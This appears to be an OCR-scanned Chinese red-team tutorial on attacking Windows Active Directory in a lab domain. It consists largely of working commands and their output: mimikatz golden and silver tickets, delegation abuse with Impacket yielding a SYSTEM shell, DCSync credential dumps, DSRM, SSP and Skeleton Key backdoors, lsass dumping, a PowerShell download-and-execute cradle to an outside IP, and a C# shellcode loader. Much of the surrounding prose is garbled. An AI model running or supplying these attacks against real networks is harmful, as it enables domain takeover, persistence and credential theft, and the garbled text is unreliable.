: 0

: MACHINE_ACCOUNT

2020/3/26 3:40:01

NEVER

: 0

: Windows Server 2012 R2 Standard
4

; CN=DCSERVER ,CN=Topology,CN=Domain System Volume,CN=D

bolab,DC=com

: 6b3edd4f-d68c-4ble-a7fa-3345513a3752

: 6.3 (9600)

: 1601/1/1 8:00:00

: CN=Computer,CN=Schema,CN=Configuration,DC=jumbolab, D¢

{2020/1/28 12:38:48, 2020/1/28 10:28:11, 1601/1/1 O:1
{Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04 /DCServer.
b.com/ForestDnsZones. jumbolab.com, ldap/DCServer. jum

— e --

RERIN—Nsid=519 W EER, FIAmimikatzB T Faws:

kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.
jumbolab.com /sid:S-1-5-21-1786649982-4053697927-1628754434 /sids:S-1-5-21-4288736272-2
299089681-4131927610-519 /ptt

ERZZ P DEREN St AN PR -
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PS C:\Users\Administrator>
PS C:\Users\Administrator> $ENV:USERDNSDOMAIN
CHILD.JUMBOLAB.COM
PS C:\Users\Administrator> dir \\dcserver. jumbolab.com\c$

PS C:\Users\Administrator> dir \\dcserver. jumbolab.com\c$

H3:: \\dcserver. jumbolab.com\c$

LastwWriteTime Length Name

2013/8/22 - PerflLogs

2020/2/14 = 4] Program Files

2013/8/22 - Program Files (x86)
2020/1/28 - Users

2020/3/13 - windows

2020/2/3 = 724339463 windows8.1-KB2919355-x64.msu
2020/2/3 - 10716210 windows8.1-KB2919442-x64.msu

5.5, IfEKerberos

EiE, &ZORHEkerberosthil T, (BERBEHASME2EE, EEFLLI—EBEHAFRENEsystem
R, EEASEETLEREEIEER,

HFAIMEXZ) T krbtgt hashid, BEftA? HEFTE.

5.5.1.1 £Ei7

FEREI T ms14-068, thNMAKerberosthil, FIE T TGTREHkrbtgtilZmak. FElibXHZEZE/krbtgtMcShash
B, sElLAgiE—MERRRAtgt T :

Domain Controller

—6. APREP {oplu)_n;ls e whe eoane TGS s
al, used when mutya) authentication js request _di "
ested)——

- -
User’'s Workstation

Application Server
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ERAEE:

mimikatz

kerberos::purge

kerberos::golden /admin:administrator /domain:ig /sid:SID /krbtgt: krbtgt hash{& /ticket:administ
rator.kiribi

kerberos::ptt administrator.kiribi

kerberos::tgt

dir \\dc.domain.com\c$

5.5.1.2 {RER
LENEEREEZMERTGCT, REFEZMIETCS, MARSKSELDINE T,

Domain Controller

=3 v

- —5 APREQ[presemTGS for acces

— b. APREP (option

al, used when §§)——o

User’'s Workstation Mutual authentication js

requeste

Application Server

FMATE:
mimikatz.exe "kerberos::golden /domain:ig; /sid:SID /targetgiZ2fR /service: BiFEIANARSS, Ucifs /r
c4:NTLM, itE#HKShash /user:user /ptt"

dir \\server\c$

mimikatz # kerberos::golden /domain:jumbolab.com /sid:Sj2826-06-88 23:38 <DIR> ntdsutil
9681-4131927610 /target:dcserver.jumbolab.com /service:|f2813-08-22 23:52 <DIR> Perflogs
4c0e90bc9B8628F105 /user:administrator /ptt paca a5,23 22:38  (DIR> Program Files
User - administrator 28208523 11:43 <DIR> Program Files (x86)

Domain : jumbolab.com (JUMBOLAB) L e II;;";\,S

ST0 © $-1-5-21-42887362712-2299089681-4131927610 | bazasas ey 1548 724,329,463 Windousd.1-NE2919355-x64.r
g“"”- Idld . 38?3 512 520 blg blg 2828/02/83 15:15 10.716.210 Windows8.1-KB2919442-x64.r
roups Do 2 P44 735,855,673 =

ServiceKey: D078bkde93acc9954cBe90bc98628F105 - rch_hmac 6 -J|-::f 43,838,545.920 o {17

Service . cifs

Target . dcserver. jumbolab.com
Lifetime : 2020/6/9 22:34:56 ; 2030/6/7 22:34:56 ; 203||
> Ticket : =« Pass The Ticket =

C:\sers win7user.JUNBOLAB.BBB \Desktop’,

= PAC generated

= PAC signed

= EnclicketPart generated
» EnclicketPart encrypted
= KrbCred generated

Golden ticket for "administrator @ jumbolab.com’ succes
ent session

5.5.1.3kekeo
FFHkekeoi#t1Tptt:
kekeo "tgt:ask /user:test1l /domain:test.local /ntlm:7ECFFFFOC3548187607A14BADOF88BB1"

https://mp.weixin.qq.com/s/OGiDm3IHBP3_gOAOIHGCKA




2020/6/29 T %2 Windows 74 93
PATIRERREYE TGT test1@TEST.LOCAL krbtgt~test.local @ TEST.LOCAL.kirbi
ETRESANERE:
kekeo "kerberos:ptt TGT testl @TEST.LOCAL krbtgt~test.local @ TEST.LOCAL.kirbi"
dir \\server\c$

5.5.2.1 BEF R RHYREIR
I)Ib*fE.g[]—F

The attacker configures resource-based constrained delegation
from Service A to Sen

54U2Self for Administrator
|

Non-forwardable TGS for Administrator to Service

|
S4U2Proxy for Administrator to Service B

PMABRERAAVEERE TR RIAREZIREB(IZREmMsDS-AllowedToActOnBehalfOfOtherldentity /&
), WBATLAEIE s4utinY RIS RERETAHRHTFIRE. FAZSENT:
EiEE AP EAT LARINT0MILEEK S, RI0spnspnspn$FigEmsds-

allowedtoactonbehalfofotheridentity:

C:NUserswinZuser.JUMBOLAB.BBADesktop>SharpAllowedToAct .exe —m spnspnspn —p spn
spnspn —t win? —a dcserver.jumbolab.com —d jumbolab.com

[+] Domain = jumbolabh.com

[+] Domain Controller = dcserver.jumbolab.com

[+]1 New SAMAccountName = spnspnspn$%

[+] Distinguished Mame = CN=spnspnspn.CH=Computers.DC=jumbolab.DC=com

[+] Machine account spnspnspn added

[+]1 SID of New Computer: §—1-5-21-4288736272-2299089681-4131927610-1124

[+] Attribute changed successfully

[+]1 Done?

get-adcomputer win7 -properties principalsallowedtodelegatetoaccount

LSRN 1 AR e )
Filter: PS e:\> get-adcomputer win7 -properties principalsallowedtodelegatetoaccount

DistinguishedName . CN=WIN7,CN=Computers,DC=jumbolab,DC=com
DNSHostName : WIN7.jumbolab.com

Enabled i True

Name : WINY

bjectClass : _comnuter

bjectGUID . e98f6144-af20-4d28-92cb-bc13b9b59b8e
PrincipalsAllowedToDelegateToAccount : {CN=spnspnspn,CN=Computers,DC=jumbolab,DC=com}
SamAccountName : WIN7S
SID : 5-1-5-21-4288736272-2299089681-4131927610-1113
UserPrincipalName g

FIAs4uthN RIS SN PREE

https://mp.weixin.qq.com/s/OGiDm3IHBP3_gOAOIHGCKA




2020/6/29 LN B2 Windows A 7233

getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn\$:spnspnspn -spn cifs/win7.jumbolab.c

om -impersonate administrator

SANERE:
export KRB5CCNAME=administrator.ccache

aE) BArtles:

smbexec.py -no-pass -k -debug win7.jumbolab.com

$ getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn\$:spnspnspn
-spn cifs/win7.jumbolab.com -impersonate administrator

Impacket v@.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 Sec

ureAuth Corporation

[*] Getting TGT for user

[*] Impersonating administrator

[*] Requesting S4UZ2self

[*] Requesting S4U2Proxy

[*] Saving ticket in administrator.ccache

$ export KRBSCCNAME=administrator.ccache

~

$ smbexec.py -no-pass -k -debug win7.jumbolab.com
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 Sec
ureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python2.7/si
te-packages/impacket

[+] StringBinding ncacn_np:win7.jumbolab.com[\pipe\svcctl]

[+] Using Kerberos Cache: administrator.ccache

[+] Domain retrieved from CCache: jumbolab.com

[+] Returning cached credential for CIFS/WIN7.JUMBOLAB.COM@JUMBOLAB
.COM

[+] Using TGS from cache

[+] Username retrieved from CCache: administrator

[+] Executing %COMSPEC% /Q /c echo cd A> \\127.0.0.1\C$\__output 2
A>A&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & d
el %TEMP%\execute.bat

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

[+] Executing %COMSPEC% /Q /c echo whoami A> \\127.0.0.1\C$\__outpu
t 2A>A&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMPX%\execute.bat
& del %TEMP%\execute.bat

nt authority\system

C:\Windows\system32>}]

5.5.2.23EYRFER
REEWT:
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User's ) . (Unapproved)
"t Service 1 Service 2 KDC Service N

{1) Kerberos login—s
fé} Ticket Granting nckét

f3} Request forwarded TGr—n-.
,.-—(4] Forwarded TGT rnturncc

{5) Requost ticket for Scr\rucc l—h

=--I ’6} icket for Service |

-—{?} Rmucsl—h—
——— 8] Request 'I:Il:kf"[ far Senace 2—-4

— 9 Ticket Tr:nr Servioe 2

{10) Request
Ag User

'-I—{llfl Respansc—-

—"“!

n-l—{l?_] Fh:sn-nnse—.
ey 1 3} Requiest l:n:k-:r for Service N-u-uha
{14} Ticket I‘_{;r Service N—g

;"‘:‘5} Request as User

{156) Response.

NAEEREEIuseriiE)service 1IRSSES, W1Rservice 1 fRBZARBTIFNRFIR, NituseripiaservicelfRSSET,
SIEEBMtgtRIXSservicel, Eitbservice1aJLAR]BuserfJtgtXifpiausera] LAGRIAYARSS . FIFEZREWT:
win7Hl R T IFNREIK:

WIN7 [BtE

Active Directory FIF#RHEL [DCServer.jum| o -
— ) | == #A | meses

&4 jumbolab.com =i \ Bfrssh \ RET = =iEEsl | s | EEE 1

- SR SRS SLEENEE , SAEESHEE— T ANES.

Computers

A= LV inCont lers
ForeignSecurityPrincipals 4 O AMEEHENRERQ)

i [LoetArdrosac] © (Bl BRSRE RS (X Kerberos) )

| Managed Service Accounts - \ =
REDETENESREENBELY

Microsoft Exchange Security Groups

| Program Data
System
Users
Microsoft Exchange System Objects
NTDS Quotas
| TPM Devices

SR AFRiE [

TEBEAIEFRIESpoolerFTEDHLARFZEIREHILLIETT T spoolerfkFZAI 2B T kerberosakntimiY A R iEEZ IS ERY
Birtes:
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The “printer bug”

<- two-way
Compromised Forest (FORESTB) forest trust -> Victim Forest (FORESTA)

SpoolSample.exedcserver win7

Sititgt:

mimikatz
privilege::debug

sekurlsa::tickets /export

_ » mimikatz_trunk » x64

>

| [0:1f9fc7]-2-0-60a10000-DCSERVER$ @krbtgt-JUMBOLAB.COM.kirbi

SANERE:

kerberos::ptt [0;1f9fc7]-2-0-60a10000-DCSERVER$ @krbtgt-JUMBOLAB.COM Kkirbi

mimikatz # kerberos::ptt [0:1f9fc7]1-2-0-60a10000-DCSERVER$@krbtgt-JUMBOLAB.COM. ki

irbi

win7#1 2RI AT 3KEX B B hash:

imimikatz # lsadump::dcsvnc /domain: jumbolab.com /all /csv

[DC] "jumbolab.com™ will be the domain

[DC] ’'DCServer.jumbolab.com’ will be the DC server

[DC] Exporting domain 'jumbolab.com’

1115 spntest$ 4b94557290alfbfd7bc34250b057210b
1116 testtest$ 3c99b8901bB0758369F18b9df 72012¢8
1117 DCSERVER2% 9263cddodd763bd77a78f38045c605b3
1118 CHILD$ dabfd33908d1fd62e9d28fd714829082

1124 spnspnspn$ LT99T98abbef 1a6801d8d31odclcele8
Ulllﬁ HIN10% @aa3bd621f026fa7dB6bB483313%a2096

.
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KRN RFBIR ST LA TS :
B PEEIFNRFIRAF:

Get-NetUser -Unconstrained -Domain jumbolab.com

B P EEIFARFIRAIEN

Get-NetComputer -Unconstrained -Domain jumbolab.com

5.5.2.3 YIREIR
AR

User's i e s (Unapproved)
Machine Service N

——(1) Request—:

L ) sauzsell—

E-—{E} HE:quE-.'sl—p-';

E—{ﬁ: Sduzprc-:u,'r for Service I—p--

tg——{ 7 Ticket for Service 2

(8) Request
As User

ia=—={ 0} Response=—

--l-d 10} Re&mnsne—i

RIS
BERSAMN, test, HRBLRSBI:
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test FiE L ? .

RET | EEEH | A U] = HiE =ig
P 2 TEEEREES VG COM+ EiEREE
=L | it W EEVH | BE | |E | a0

ERE—=2HENEE  EaFrREREE—AMET.

O AMEEHAFERERIQ)
O SEERPEERRSHIERIR Kerberos)(D)
® {RSEHAFEREERSNERU)
O {RiEEA Kerberos(K)
® ERFRISAEEMYIN)
AL R SRR RS (S):
=R RFERHEN

DCServer.jumbol... jumbolab....

RS S AT LAA—MEEFIREspnBlF:

setspn.exe -U -A test/test test

EHiBtgt:
kekeo:

tgt::ask /user:test /domain:jumbolab.com /password:aA123456

|| TGT_test@JUMBOLAB.COM_krbtgt~jumbolab.com@IUMBOLAB.COM . kirbi

AR AItgtERISSt
kekeo:

tgs:isdu /tgt:TGT test@JUMBOLAB.COM krbtgt~jumbolab.com@JUMBOLAB.COM.kirbi /user:Admi

nistrator@jumbolab.com /service:cifs/dcserver.jumbolab.com

e o

|| TGS_Administrator@jumbolab.com@JUMBOLAB.COM_cifs~dcserverjumbolab.com@JUMB...
|| TGS_Administrator@jumbolab.com@JUMBOLAB.COM_test@JUMBOLAB.COM.kirbi

https://mp.weixin.qq.com/s/OGiDm3IHBP3_gOAOIHGCKA
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mimikatz:
kerberos::ptt TGS _Administrator@jumbolab.com@JUMBOLAB.COM cifs~dcserver.jumbolab.com@
JUMBOLAB.COM .kirbi

C:\UserswinPuser.JUMBOLAB.BBB“Desktopr>dir ““dcserversch

$BE8 ).

C:\Users winfuser.JUMBOLAB.BBB8 “Desktop?>

C:\sers winYuser.JUMBOLAB. 888 Desktop>

C:Nlsers win7user . JUMBOLAB.B88A@“Desktop>

C:\lUsers winZuser . JUMBOLAB. EBB\DESktup}diP \seserverses
[fhgﬁ ““deserverscs qUETrﬂqﬁ?ifT
?EEWF““HEﬂﬁ% EAF7-A28C

SSdeserverscd Eﬁ E%

2828-86-13 ©@1:19 29 BitlockerfctiveMonitoringLogs
2828-86-13 12:57 12 debug.txt

2828-86-13 11:48 <{DIR> ExchangeSetupLogs

2828-86-87 22:49 <DIR> inetpub

2828-86-88 23:38 <DIR> ntdsutil

2813-88-22 23:52 <DIR> PerfLogs

2828-86-13 16:28 <DIR> Program Files

2028-06-13 G1:87 <DIR> Program Files (x86>

RMIREZIRAZZT AR T ap<:
BEREPEELIRZIRAF:

Get-DomainUser -TrustedToAuth -Domain jumbolab.com

BRI FEELYIRZIRAEN:

Get-DomainComputer -TrustedToAuth -Domain jumbolab.com

05 7 35%

HETEERE, TLEEE FEH—LFH, RIEESANRERS, EETLMRIE, MESEELERT, K
AR LAESE,

6.1. DSRM

ZFEEETEE T iR ERAIE R R,

DSRM, BRBRFEFRER, EWindowsiR5SasidizHlzsiLeEEsER. DSRMATEERRAXRESHER
1S EEEsNE REUERE. DSRMKF LR EFRE “Administrator” |, Ui REE FEANAHEER/WS, IF
BEERIWS., SEEEN, SiEE(1IREDSRMED:
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== Select functional level of the new domain
Domain Controller Options
Domain functional level: Windows Server 2012 R2

Specify domain controller capabilities and site information

[v] Domain Name

Site name:

Type the Directory Services Restore Mox
Passwaord:

Confirm password:

AP TS Tz LR DSRMERD
ntdsutil

set DSRM password

SYNC FROM DOMAIN ACCOUNT username
Q

Q

PS C:\Users\Administrator> ntdsutil
C:\Windows\system32\ntdsutil.exe: set DSRM password
E E DSRM EHE mZFhS: SYNC FROM DOMAIN ACCOUNT win7
Eﬁ;iﬁaﬂa“ win7” ByPEK/~ SID.
RS RN . 1B IIIE
.J?rp{\)i'% Active Directory iz
EK P RARIC AT EF A S st FiF
YR e SR b HA
PR 258G e SR HA
WIN32 £iZfLh: Ox6fc
HiE B EEMEZEEEREERRRKU-

% DSRM & IE F RS : SYNC FROM DOMAIN ACCOUNT winZuser
2 A Th R 2B & R .

9
1

el
2

ol g
HEREF

g2 i DSRM EEE &g : Q
C:\Windows\system32\ntdsutil.exe: Q
PS C:\Users\Administrator> _

BIEDSRMEERY ¥ flwin7user AP —HRYERT :

B ERIEME=R:
reg add " HKLM\System\CurrentControlSet\Control\Lsa" /v DSRMAdminLogonBehavior /t REG_D
WORD /d 2

=ERpthiEEdE:
sekurlsa::pth /domain:computername /user:Administrator /ntim: b367819c0a8ccd792cad1d034f56

alfa
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mimikatz # sekurlsa::pth /domain:dcserver Zuser:Administrator /ntlm:b367819cBa8c
cd?92cadldl3&f56alfa
user . Administrator
domain : dcserver
[program : cmd . exe
|1mper5 : no )
NILH : b367819chabeccdi92cadlddlbfdbalfa
i PID 4856
i TID 2788 = — -~
i LSA Process was already ”' -
! LUID 8 ; 2252733 (08000 I‘Ii_r'll-n_f_rn‘fr Windows [HR7 6.1.76001 e i
\_ msvl 0 data copy @ [R1Y T <c> 2009 Microsoft Corporation. {7 ETHNHF .
\_ kerberos - data copy @
aes256_hmac > n cw,\:’fjﬂ”‘f\d‘i‘q‘:sz?{:;‘ﬁ“‘_”“::%;;“\“
fei hmanng o || BHFTISIE Err-azec
rch_hmac_old 0K \deserversed
rch_mdé 0K
I‘C"I_l\lﬂd()_l\t_&!x[) 0K 20208689 22: <DIR> inetpub
rch_hmac old exp OK |@®28-@6-@8 23: <DIR> ntdsutil

=Passw . @ ppp2p13-88,22 23:52 <DIR> PerfLogs
Pd ‘:.HUI"(I reuldne O g 20208609 H <DIR> Program Files

2020./96./09 H <DIR> Program Files (x86)>
2028.-81/28 =23 <DIR> Users
2026-86-89 22: <DIR> Windows

118 MB 2020,02/83 H 724,339,463 Windows8.1-KB2919355-x64.msu
20208,/082/83 H 18.716.218 Windows8.1-KB2919442-x64.msu

P

BNV EERRAES, TLUESRINAREFER, SLMARFINBREE.
Wz ETII R T
FJFgpmc.msc , fRIBEVIAETREL:

. AEREERE Default Domain

A% e jumbolab.com

‘_;1

SE=&(N)

BRAEEEL

E'Clr'r'l'ain Contr EERESE)..
Microsoft Excl =0

LT MEEMEEOW

[y # 5 ik
_ - s == ()
Starter GPO I GPO AREEE]
=REM)

R (E) 2
EBEH) 51 Authenticated Use

&3 jumbolab.com

[EARINEEL:
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|=] Default Domain Policy [DCSE|| - B @RI

: t I_J_rﬁfﬁ PR ATMEESETIE
[ Bk
4 &, AFES
4 || ZERE
b [ EeiHas

4[| Windows iz2E2
= BFREFRAS)

— T
b I3 MiEEER
b ol ET 5 QoS
b BT WA E
- [ EiEm

FHEXS M AYESRER B R T iRIRAYS A

:/1F N PowerShell Bi&

BF BE(Default Domain Policy &)

Logon

HE 5 B
« {31B2F340-016D-11D2-945F-00C04FB984F9} » User » Scripts » Logon

R BRA

P 2020/6/12 23:40)

I S e FR
B TR
sEEREEasETeTnEs  kER
[\ STRY
", Tk
b EH
£ MR (C)
@8 DVD 3EZNEE (E:) EXCH

< Shared Folders (\\vn

BT T an < 325 RIFTHRE :

gpupdate /force
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XA R SR E R RS TII MAIS G/ B

SH4(F) 4R48(E) 18=0(0) BEE(Y) mENH)

fRE(E)  #E(H)
s.dmp  Seatl

rpDo..  wm

£
m— —

ess.zip PSTe

SecuritySupport ProviderEBf#A—Ndll, FARSLIMBIAUE; SecuritySupport Provider InterfaceI2f# S
SSPHIAPI, BTFHITEMESREMEXRVERIE, NBHREIE,

ERXREHIRHR, SSPEEINEEIsass.exedd, BRI LABEN — N dIIER R SNETINEE]Isass.exe
.

FMAmimikatz:

. Bmimilib.dlIE#IFE=c:\windows\system32

2. RmiEMER: HKEY _LOCAL MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages\
A INmimilib.dll

3. ERRICREFMEN:
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REG_M... msv1_0
EREETRN): REG_BL.. 00 3000 00 00 20 00 00
Security Packages ' REG_D... 0x00000000 (0)
REG_D.. 0x00000000 (0)
HUEHER(V): . REG D 0x0000000Q (D)

mimilib.dil | E System32
- T AR EE
- T XA » AMEE (C) » Windows » System32
Wi BN
R TE kiwissp.log
ek perfc009.dat
] kiwissp.log - iZE#

0d 81 b4 98 ¢

[
[00000002] JU .AR Administrator (Administrator) AdminLahl123!

e LAARER, FIFARPCHNESSP,

6.4, Skeleton Key

MAmimikatzRZRZ—1HEEES, “mimikatz” , SEICIEEATLISENT:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m misc.c

privilege::debug

misc::skeleton

ST bR, BMALMER "mimikatz” FA—NEREERS, XERERE, 1%75AF BT S EEEBaEE
BY, FAIMRPART LAK I,

IC:\IJsePS\uin'?user.JUHBOLRB.BBB\DESktnp)net use ““dceserver "mimikatz' suser: jumbo
labsadministrator

a5 P BT 76 Al

C:“Users win?user.JUMBOLAB. @B \Desktop>dir ““dcservercdH
UJ[H'IEL* \“deserverses )T IRE .
EHF“FIIﬁf ENF?-A28C

ssdeserverses EH E_:FIZ

20208688 23:38 <DIR> ntdsutil

20138822 23:52 <DIR> PerfLogs

2028-95-23 22:38 <DIR> Program Files

2028-85-,23 11:43 <DIR> Program Files (x86>
20288128 17:23 <DIR> Users

2028-06-88 22:35 <DIR> Windows

2828-82-83 15:18 724,339,463 Windows8.1-KB29192355—x64.msu
20208-82-/83 15:15 ) 18,716,218 Nindnﬂiﬂ-1*RB2?1?442*X64.m5u

6.5, HookPasswordChangeNotify

B@idiElsass.exeFHEFENI, £FiBiTHook PasswordChangeNotifyf2aE MK B8, %7550 T2
i IE KA =S
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C:\Users\Rdministrator\Desktop>PowerShell .exe -ExecutionPolicy Bypass -
ReflectivePEInjection.psl

Users\Administrator\Desktop>net

C:\Users\Rdministrator\Desktop>net user winTuser af123456 /domain

C:\Users\Administrator\Desktop>
Temp

i » AR (C) » Windows » Temp
Bk
passwords.txt

passwords.txt - J0EEA&
SIH(F) 4R$B(E) 180(0) EHE(V) #EI(H)

=

WinTuser\aA12345

£ EANIEF RS, HMT7THRHPFHENTE, EENENedrfiY LA TH, ERFIEHM T ZE/MiF, FEiil

fagkdav, XE2—REKHE.
7.1, Powershell

UE R cs EgeEmipIpowershell 9. Z{EMEIApsan SRS, SWEREZE:

RS FRS

REEERE: B C

\Win

RBEAE: Po

AT UbFERs, ISR
{E.

BHIFETT (18)

3SMO... ProcessMo.. winword.exe S34stimlbn  fEFE.rar webbDrows... WeLrossteie
(1).rar Y docx ...
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HAIEEREREN=EHT XN S, BAEERN MIRERTS, MXNFSNAZWERFIE!T, i
A BRBFAART

nop —-w hidden

RpEEF: B C

\Window ow.elbhell
RPEAE: PowerShellfid
AT

il

0... Processivio... winword.exe SiksEiEin  fH
(1).rar

AEEE 4T (27)
HINPEERANE

BEA=HBX N 5 S copy HRFARDBZFIHINIE? KAR

eal\Temp

&

o\AppData'\Local \Temp> jp. exe

feifizdy | BELEETT (24)

BRI T :

jp. txt —nop —w hidden -¢ “IEX ((new-object net.webclient).downloadstring( http://1.2. 3.
4:80/a’))”

7.2, iFBIRBR

BEHEREBIMBUSART LD,
% Fh, @EAJ:EE’Jpowershell T ATps 1hRAImMimikatz:

Jumbo\AppData'\Local \Temp>jp. txt "IEX (New-Object Net.WebClient).DownloadString (" http://172. 16. 180. 1:8089/1
Inn ‘1 nikatz —DumpCreds”
S-1-5-21-436893414-3006759232-2873587263

tz 2.1.1 (x64) I' t on Aug 3 2018 17:05:14

e A L Amour” oe. e0)
Benjamin DE I\\ |||| wi ( benjamin@gentilkiwi. com

http://blo ilkiwi. com/mimikatz
Vincent LE I'll‘ ( vincent. letoux@gme

http://pingcastle. con 1ttp://mysmartlogon. col

S "Fh, FIFBRPCHNESSP:
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https://blog.xpnsec.com/exploring-mimikatz-part-2/
iklsass.exeB2dump AE:

) lsasspirpe
yirConnectRpc
irCallRpc call

)x6c6 returned, wl

bo\Desk top\load

ch B4ED O #FRmA -

v SR ] wimia -
B oy prie $ W Ees R
[f ¥R s

BT e EikE S
v ¢ > ICEBRE > FRMBREER (C) » Windows > Temp

=7 EMA
* HESiE Eareas: FR(CPU2%, PIF67%)
2020/5/20 17:1

- 20 it

|l

s ZprocdumptzaTLA :

:\Users\Jumbo\Desktop>procdump64. exe —accepteula —ma lsass.exe lsass. dmp

rocDump vB8.0 — Writes process dump files

opyright (C) 2009-2016 Mark Russinovich

ysinternals — www. sysinternals. com

ith contributions from Andrew Richards

17:14:07] Dump 1 initiated: c:\Users\Jumbo\Desktop\lsass. dmp
17:14:07] Dump 1 writing: Estimated dump file size is 59 MB.
17:14:07] Dump 1 complete: 59 MB written in 0.5 seconds
17:14:07] Dump count reached.

:\Users\ Jumbo\Desktop>g

EHcERE: [FE(CPUS%, FATF63%)  +

F=M, WIEFSHMRER, HINMEEREEMNIA:
https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/sekurlsa-

wdigest.cpp
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HAfENe: 1
i

HEMEE: 0
HOMEIRH: 0

NRF LiIRBIDERIFERNZHE I RBIRBEAD? HIBRNIA:

o x

360 SIZES
EA T H pELh iR m =

FirEEEhiaEEsE. B #EE#

mENME:  mimikatz_krbtgtx64.exe
FRTERIE : AR S ()
MR

AERE:

Q, s7Eh#THIERE
 HEiA

FirestoratorTEMMNMEAER, BIHFAR:
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S EREESE TiFaas

@ mimikatz_wdi gestxBd. exe M Bt Ee

Y@ B —pieE S e R
L[] 100 W . L] == 4fq o
v O A 0.0 mES [ emew
AR AR PR =i
~-@t HERA: EE/E: R

EREIZN E(EE)
i
28 &R Default Company
1 it Default File

A L[5 2=

RFRE 1.0.0.0

REE=E 0 Default App

b 42 (g) by Default Company
[5kz3

RS default. exe

ERER Defaultipp

£/ mimikatz wdigestx64.exe 2020/5/21 11:19 K7 FRfERR

e AREOS, AT

[
miff
i

7.3, BEBFRE

HAREFINEHAVERS, Bshellcodel&zH i T. FESTENT:
BRiBEWE->E Ashellcode- > Bl &2 H11T
SeRFHcs&ERyshellcode:

[ ON Payload Generator

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available.

Listener: | |

Output:

xX64:
COM Scriptlet

Perl
PowerShell
PowerShell Command
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BN :

using System;

using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function’ s compiled code
// generated with metasploit
byte[] shellcode = new byte[835] {
13
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE EXECUTE READWRITE);

Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

IntPtr hThread = IntPtr.Zero;
UInt32 threadld = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadld);
WaitForSingleObject(hThread, OxFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE EXECUTE READWRITE = 0x40;
[Dllimport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 IpStartAddr,
Ulnt32 size, UInt32 flAllocationType, UInt32 flProtect);
[Dlllmport("kernel32")]
private static extern bool VirtualFree(IntPtr IpAddress,
Ulnt32 dwSize, UInt32 dwFreeType);
[Dlllmport(*kernel32")]
private static extern IntPtr CreateThread(
Ulnt32 IpThreadAttributes,
Ulnt32 dwStackSize,
Ulnt32 IpStartAddress,
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IntPtr param,

Ulnt32 dwCreationFlags,

ref UInt32 IpThreadld

);

[Dlllmport("kernel32")]

private static extern bool CloseHandle(IntPtr handle);
[Dlllmport("kernel32")]

private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,

Ulnt32 dwMilliseconds

)i

[Dlllmport("kernel32")]

private static extern IntPtr GetModuleHandle(
string moduleName

);

[Dlllmport("kernel32")]

private static extern UInt32 GetProcAddress(
IntPtr hModule,

string procName

)i

[Dlllmport("kernel32")]

private static extern UIlnt32 LoadLibrary(

string IpFileName

);

[Dlllmport("kernel32")]

private static extern Ulnt32 GetLastError();

WiFRRNRIRSRG

®) seoxms

Hiat=k, FEMEstk!

-

7.4, ABRHEBFR
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HAIRTLAERwindows B RYaR SIAZI B ARATUER, ELun:

msbuild:

360 B IEERIFEIZRS!
EEINEE T 3244

=] test.xslfd |

£ 1§ — jopt/metasploit-framework/bin/ms
Jjoptjmetas... /msiconsd

1

XEBIWET L MfTshellcodelIEARRBH:
https://github.com/Jumbo-WJB/windows_exec ways

windows_exec_ways with msf
regsvr32(sct) : use exploit/multi/script/web_delivery set target 3
mshta(hta) : https://github.com/Jumbo-WJB/CACTUSTORCH

csc(cs) : https://github.com/Jumbo-WJB/InstallUtil-Shellcode-cs https://github.com/Jumbo-W.JB/Bypass-McAfee-
Application-Control--Code-Execution

wmic(xsl):http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
msbuild(xml): https://github.com/Jumbo-WJB/nps_payload

winrm.vbs(WsmPty.xsl) : https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-
technigue-in-winrm-vbs-c8c24fb40404

rundll32.exe(inf) : https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-
persistence/
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B4 "

ANNBTAMBSENREFZFBEIR, BARIAVLSBHIPHNREFR. FRERESARAMBER T
MPEIKTE, SR, AOTEEERE], HCACLEEARZIEMAIRN. mimikatzET BRRIBHFIE, KFERR—
28 meR.

NHERIKAER, RRATEARR, U2BTIEEAR. WBRIIRR, TXER, FRZL, SiERSi
IHEIE,

ReREBNEEZURERFNEWNINES. BRNMSE—T, BBEu Mflag: ATUETENRABE THRED

AZRGFHBED LIRS AE, BREENIESREMCTREFREESEY, FERAIKEEISRBIRA

KBTI,

HXNE:

https://security.tencent.com/index.php/blog/msg/139
DAERS : IR ZEER IR B https://security.tencent.com/index.php/blog/msg/133

#B> TEsthil

Rubeus:

PowerView:

Seatbelt:

Bloodhound:

MailSniper:

ReGeorg:

EarthWorm:

PowerCat:
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Mimikatz:

Tgsrepcrack:

Kerbrute:

Responder:

21 Bz Windows 4 W 125%

HeAIJZTSRC
BEMNEZ2TFE
RR#EZENREE
BimiE. BEANR. BHIE
ST IEREFHERRNESLTE

HATFIEREERIR S AN S !

MIES: tsrc_team

=

& e
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